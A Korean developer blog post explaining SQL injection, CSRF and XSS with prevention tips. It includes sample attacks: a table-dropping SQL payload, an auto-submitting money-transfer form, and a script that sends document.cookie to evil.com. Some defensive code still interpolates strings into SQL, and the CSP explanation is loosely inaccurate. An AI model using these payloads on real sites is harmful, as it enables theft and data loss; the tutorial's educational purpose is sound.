본문 바로가기
CS 이론/🛰️ Networking

흔한 웹 취약성 총 정리 (CSRF, XSS, Injection)

by 개발자 진개미 2023. 5. 9.
반응형

보안이 중요하다

보안은 잘 될 때는 아무도 신경 안 쓰면서 잘못되면 온 시선이 집중되는 비운의 분야입니다.

웹 사이트에도 다양한 취약성이 있어서 보안적인 문제가 되는 경우가 많은데요. 그중에서도 웹 개발자라면 무조건 알아야 할 가장 흔한 웹 취약성 3가지를 정리해 봤습니다.


Injection

🐜 Injection이란?

Injection의 사전적 뜻은 주입이라는 뜻입니다. 말 그대로 들어가면 안 되는 코드나 명령어를 주입해 보안을 무력화 시키는 방법을 말합니다. 가장 흔한 예시로 비밀번호 창에 수행하는 SQL Injection이 있습니다.

보통 로그인을 구현한다고 하면 id를 기반으로 DB에서 유저 정보를 가져온 후, 이게 비밀번호와 일치할지 확인합니다. 간단하게 코드로 나타내면 아래와 같습니다.

fun login(userName: String, password: String): User? {
    val sql = """
        SELECT * FROM user
        WHERE user_name = $userName AND password = $password
    """
    
    return template.execute(sql).first()
}

이렇게 하면 문제가 무엇일까요? 유저가 정상적으로 아이디 비밀번호를 입력할 때는 문제가 없습니다. password1234, 12345678, h24uigqhaendf 등... 하지만 만약 SQL 문을 비밀번호로 입력하면 어떻게 될까요? 예를 들어 비밀번호에 아래와 같은 문자열을 입력하는 겁니다.

''; drop table user;

이렇게 하면 최종적인 SQL문은 아래와 같이 됩니다.

SELECT * FROM user WHERE user_name = '' AND password = '';
DROP TABLE user;

이게 실행되면 DB의 데이터가 모두 날라가 버리겠죠...

이런 식으로 실행되면 안 되는 것들을 실행시키는 걸 Injection이라고 하고, 그중에 가장 흔한 건 SQL Injection입니다.

 

🐜 Injection을 예방하는 방법?

사실 예방법은 간단합니다. 비밀번호 같은 경우 이상한 문자열을 마음대로 못 넣게 미리 확인하면 됩니다. 위의 코드를 이어서 완성시켜 보면,

fun login(userName: String, password: String): User? {
    val isPasswordSafe = password.all { it.isDigit() || it.isLetter() } // 비밀번호에 숫자와 알파벳만 들어갔는지 확인
    if (!isPasswordSafe) {
        return null
    }

    val sql = """
        SELECT * FROM user
        WHERE user_name = $userName AND password = $password
    """
    
    return template.execute(sql).first()
}

하지만 이렇게 하면 너무 복잡하고 (비밀번호는 숫자와 알파벳만 들어가게 할 수 있다고 해도 커뮤니티 댓글 같은 경우도 그런 제약을 다 줄 수는 없습니다) 실수할 여지도 많아 (특정 코드에서는 확인을 깜빡할 수도 있습니다) 이런 직접 확인하는 방법 대신에 라이브러리나 프레임워크가 제공하는 Parameter Binding을 쓰는게 좋습니다.

Parameter Binding은 저렇게 String에 직접 값을 넣는 게 아니라 라이브러리에게 처리를 대신 맡기는 안전한 방법입니다. 라이브러리는 내부적으로 이게 안전한지 다 확인을 하고, 혹시 SQL의 예약어와 겹치면 안전하게 처리를 자동으로 해 줍니다.

Java 진형에서는 JDBC를 쓸 때 PreparedStatement를 써서 Parameter Binding을 사용할 수 있습니다.

val sql = "SELECT * FROM users WHERE username = ?"
val stmt = connection.prepareStatement(sql)
stmt.setString(1, username)
val rs = stmt.executeQuery()

 

이 외에도 JPA 같이 JDBC를 추상화 한 ORM 라이브러리로 비슷한 기능을 다 지원하고, 자바뿐만 아니라 다른 진영도 비슷한 기술을 지원합니다.


CSRF (Cross-Site Request Forgery)

🐜 CSRF란?

다른 사이트끼리 (Cross-Site) 요청을 (Request) 위조하는 (Forgery) 공격을 말합니다.

웹 사이트끼리 통신을 할 때 사용하는 HTTP Protocol은 무상태성이기 때문에 각각의 요청을 서버가 기억하지 않습니다. 그래서 원칙적으로는 로그인 효과를 주기 위해서는 요청을 할 때마다 아이디/비밀번호를 같이 보내야 합니다. 하지만 이러면 너무 위험하기도 하고 성능도 안 나와서 보통 로그인을 하면 Cookie나 LocalStorage 등 브라우저의 저장소에 내가 로그인을 했다는 걸 증명할 수 있는 정보들을 저장해 놓습니다. (JWT Token 등)

로그인된 상태의 웹 사이트에서 활동을 하며 요청을 보내면 필요할 때 자동으로 Cookie나 LocalStorage에 있는 정보들을 같이 보내서 처리를 하게 됩니다. 이때, 만약 다른 웹 사이트가 내가 로그인된 사이트에 요청을 보낸다면 어떻게 될까요? 당연히 로그인이 돼 있다면 사이트는 자동으로 Token 정보도 같이 보내서 다른 사이트에서 사용자가 원치 않는 동작을 할 수 있게 됩니다.

 

예를 들어 내가 bank.com에 로그인 했다고 해 보겠습니다. 이때 evil.com 접속했더니 아래와 같은 코드가 HTML에 심어져 있어서, bank.com으로 자동으로 요청을 보내게 된다면 어떨까요?

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="1000">
  <input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit();</script>

 

🐜 CSRF를 예방하는 방법?

CSRF를 예방하는건 크게 3가지 방법이 있습니다.

  어떻게 하는거야?
CSRF Token Form을 요청할 때 서버에서 1회용 CSRF Token을 발급해서 같이 넘겨 줍니다. 그리고 이 CSRF Token이 없으면 유효하지 않은 요청이라 판단합니다. 
Same-Site Cookie Cookie를 특정 사이트에서만 사용할 수 있게 막아둡니다.
HTTP Header의 Referrer 확인하기 HTTP 요청을 보낼 때 브라우저에서는 자동으로 이 요청이 온 사이트가 어디인지 Referrer에 넣어 두는데요.

이 Referrer를 서버에서 확인해서 내 사이트 일 때만 요청을 처리합니다.

 

CSRF Token

일단 Server Side Rendering인 경우 그 웹 사이트에 직접 가지 않는 이상 Form에 내장 돼 있는 CSRF Token을 얻을 수 없기 때문에 문제가 없습니다. 하지만 설령 Client Side rendering이어서 Form을 가져올 때 CSRF Token을 얻기 위해 따로 요청을 해야 한다고 해도 서버에서 CORS 정책을 허용해 놓지 않는 이상 다른 사이트가 요청을 할 수 없기 때문에 걱정이 없습니다.

그럼 애초에 왜 Form 요청도 CORS로 막지 않은 걸까요? 그건 다른 웹 사이트로 요청을 보내는건 웹의 초창기부터 있었던 스펙이기도 하고, 웹 사이트의 여러 가능이 다른 웹 사이트에 요청을 보내야 유용하게 동작할 수 있기 때문입니다. (물론 내 서버를 Proxy 서버로 두고 다른 서버의 요청을 금지할 수는 있지만 그렇게 하면 너무 제약이 많기에...)

  • SSO도 다른 웹 사이트에 요청을 보내서 로그인 정보를 받아오는 기능입니다.
  • 쇼핑몰의 결제창도 다른 웹 사이트에 (주로 PG사) 요청을 보내서 구현합니다.
  • 이미지 같은 것도 다른 웹 사이트에 있는 이미지를 가져올 수 있습니다.

 

Same-Site Cookie

쿠키를 자동으로 보내서 문제라면... 쿠키를 자동으로 보내지 않게 하면 되지 않을까요? 쿠키를 처음 저장할 때 같은 웹 사이트일 경우에만 쿠키를 보내게 하는 식으로 예방할 수도 있습니다.

 

HTTP Header의 Referrer

마지막으로 HTTP 요청을 보낼 때 쓰는 Referrer에 같은 웹 사이트인지를 확인 할 수도 있습니다. 다만 이건 조작이 쉬워서 그다지 안전하지는 않습니다.


XSS (Cross-Site Scripting)

🐜 XSS란?

웹 사이트에 몰래 자바스크립트를 심어 두는 방법입니다.

예를 들어 해커가 커뮤니티 게시판에 아래와 같은 내용의 글을 썼다고 해 보겠습니다.

미안하다 이거 보여 줄려고 어그로 끌었다 아래 내용은 별거 아니니깐 신경 쓰지 마라.

<script>
    fetch('https://evil.com/steal?c=' + document.cookie)
</script>

 

script는 사이트를 방문하는 순간 실행되기 때문에 유저는 커뮤니티 게시글을 봤을 뿐인데 내 모든 Cookie가 해커에게로 넘어갔습니다.

 

🐜 CSRF를 예방하는 방법?

간단하게 저런 script를 그대로 불러오지 말고 모두 일반 문자열처럼 취급하게 Escape를 해 주면 됩니다. React 같은 유명한 프레임워크는 대부분 이걸 자동으로 처리하게 돼 있습니다. 예를 들어 위의 커뮤니티 게시글은 아래와 같이 됩니다.

미안하다 이거 보여 줄려고 어그로 끌었다 아래 내용은 별거 아니니깐 신경 쓰지 마라.

&lt;script&gt;
    fetch('https://evil.com/steal?c=' + document.cookie)
&lt;/script&gt;

 

이 외에도 CSP (Content Security Policy)를 쓰는 방법도 있습니다. CSP는 HTTP Header에 실행을 허용할 것들을 지정해 주는 방식입니다.

 

Content Security Policy (CSP) - HTTP | MDN

Content Security Policy (CSP) is a feature that helps to prevent or minimize the risk of certain types of security threats. It consists of a series of instructions from a website to a browser, which instruct the browser to place restrictions on the things

developer.mozilla.org

 

예를 들어 Content-Security-Policy: img-src를 하면 이미지 외에 다른 어떤 것도 실행할 수 없게 하고, frame-src는 iframe을 허용하고 하는 식입니다.


 

 

반응형